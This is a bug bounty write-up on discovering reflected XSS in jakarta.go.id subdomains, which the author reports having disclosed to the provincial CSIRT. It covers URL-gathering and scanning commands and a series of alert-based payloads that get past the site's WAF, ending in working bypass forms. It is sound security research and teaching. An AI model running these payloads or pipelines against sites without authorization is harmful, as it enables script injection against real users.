My Approach to Bypassing Strong WAF in XSS

9 hours ago 7
BOOK THIS SPACE FOR AD
ARTICLE AD

Just R

Reflected XSS

Hello everyone!

Hufft, in my first article here, I will share how I bypassed a strong WAF in XSS. Last month, I discovered a Reflected XSS vulnerability in several subdomains of jakarta.go.id. Interestingly, I had to bypass the website’s WAF, and after conducting thorough research, I successfully exploited it. I reported this issue to the Jakarta Provincial CSIRT team and received an electronically signed e-certificate.

e-Sertifikat apresiasi JakartaProv

Curious about the steps I took to bypass the WAF on jakarta.go.id? Alright, let's get started.

Pertama2 saya melakukan Fetching URL pada list subdomain yang masih aktif dan menggunakan beberapa tools. Berikut tools nya.

First, I fetched URLs from the list of active subdomains using several tools. Here are the tools I used.

⚙️ Tools

WaybackurlsKatanaUrlfinder

🧑‍💻 Command

# waybackurls
cat subdomain_aktif.txt | waybackurls | tee waybackurls.txt

# katana
katana -list subdomain_aktif.txt -o katana.txt

# urlfinder
cat subdomain_aktif.txt | sed 's|http://||g' | sed 's|https://||g' | sed 's|/||g' | urlfinder -all | uro | tee urlfinder.txt

# gabungkan url
cat waybackurls.txt katana.txt urlfinder.txt | uro | urls.txt

Now, I have a list of URLs obtained by combining the outputs from the three tools.

🚀 Filtering Urls

cat urls.txt | grep -vE '\.(css|jpg|jpeg|JPG|JPEG|png|PNG|ico|ttf|woff|woff2|svg|swf|js|mp4|mp3|mkv|eot|pdf|7z|tar|gz|zip)' | grep -vE "wp-content|wp-login|wp-includes|wp-json|wp-admin|wp-sitemap|suspendedpage.cgi|wordfence|fbclid|wc-ajax|xmlrpc.php" | grep -vE "=(rss|atom|comments-rss2|xml)" | uro | grep = | httpx -mc 200 -timeout 60 -o xss.txt

Alright, now I have a list of URLs ready for scanning Reflected XSS vulnerabilities. At this stage, you can choose how to proceed with the XSS testing—either manually or using an automated scanning tool.

If you want to do automatic scanning I recommend the tools XSStrike and LOXS, both of these tools are free.

Automatic scanning

clear; cat xss.txt | while read a; do echo -e "\n\n\n\033[1;36mScanningURL: $a"; xsstrike -u $a; done | tee xsstrike.txt

XSStrike

LOXS

LOXS

Manual scanning

The advantage of manual testing is the high success rate in finding vulnerabilities since you can directly see the reflected input in the source code using "View Source" or analyze the response via Burp Suite. In this case, I chose to test manually.

So, what steps did I take during manual pentesting to identify the XSS vulnerability?

🔎 XSS Vulnerability Identification

The most effective approach is to start with an HTML Injection attack. If the website is vulnerable to HTML Injection, you can escalate the attack to XSS.

⚡ Example

URL https://example.com/search/?q=test

Now, check the view-source to see how the text "test" appears in the source code. If the text is inside quotation marks (" "), you can try closing the attribute. Here’s an example.

Before:

URL https://example.com/search/?q=test

<input type=”input” value=”test”>

After:

URL https://example.com/search/?q=”>test

<input type=”input” value=””>test”>

If the response in the view source code looks similar to that, it means the website is vulnerable to HTML Injection. Now, let's try using an XSS payload.

URL https://example.com/search/?q=”><img src=x onerror=”alert(document.domain)”>test

Unfortunately, the website has a security system or WAF in place, which blocks standard XSS payloads like the one above. Here, I attempted to bypass the WAF.

“><img> -> ok

“><img src=x onerror=”alert()”> -> ok

“><img src=x onerror=”alert(1)”> -> blocked

“><img src=x onerror=”alert(‘’)”> -> blocked

“><img src=x onerror=”alert(``)”> -> blocked

“><img src=x onerror=”alert``”> -> blocked

“><img src=x onerror=”alert`xss`”> -> ok

reflected xss.

As you can see above, I successfully executed XSS using a custom payload. However, strangely, if I set the alert value to a number like alert(1337), it gets blocked by the WAF. Hmm... maybe that’s part of the WAF’s filtering mechanism? I’m not entirely sure.

Okay, what’s next? I wanted to take it a step further—I wanted to display an alert with my nickname in the popup. But how could I do that when the payload I used earlier (`) relies on a backtick character?

I struggled to find a way until I finally came across a reference payload from an X (formerly Twitter) post by Knoxss. Here it is:

bypass waf

Let's give it a try and see if it works or not.

“><img src=x onerror=”(alert)”> -> no WAF & no alert

“><img src=x onerror=”(alert)()”> -> ok

“><img src=x onerror=”(alert)(document.domain)”> -> ok

reflected xss.

Here, I successfully triggered a domain popup. However, when I tried adding additional XSS text inside it, I encountered a new issue—I couldn't get the alert to appear.

“><img src=x onerror=”(alert)(document.domain +)”> -> ok

“><img src=x onerror=”(alert)(document.domain + ‘\n\nxss’)”> -> no alert

I checked the view source, and after analyzing it, I found that the issue was with the + character, which was automatically converted into a space. This was part of the problem. Alright, now I’ll try encoding it using URL encoding.

Characters auto-convert

“><img src=x onerror=”(alert)(document.domain %2b ‘\n\nxss’)”> -> no alert

“><img src=x onerror=”(alert)(document.domain %2b `\n\nxss`)”> -> ok

bypass reflected xss.

Finally, I successfully triggered an alert on the domain and added custom text.

Thank you for reading this article! I hope it provides insights for those trying to bypass complex WAFs or even finding tricks to bypass them without encoding.

Read Entire Article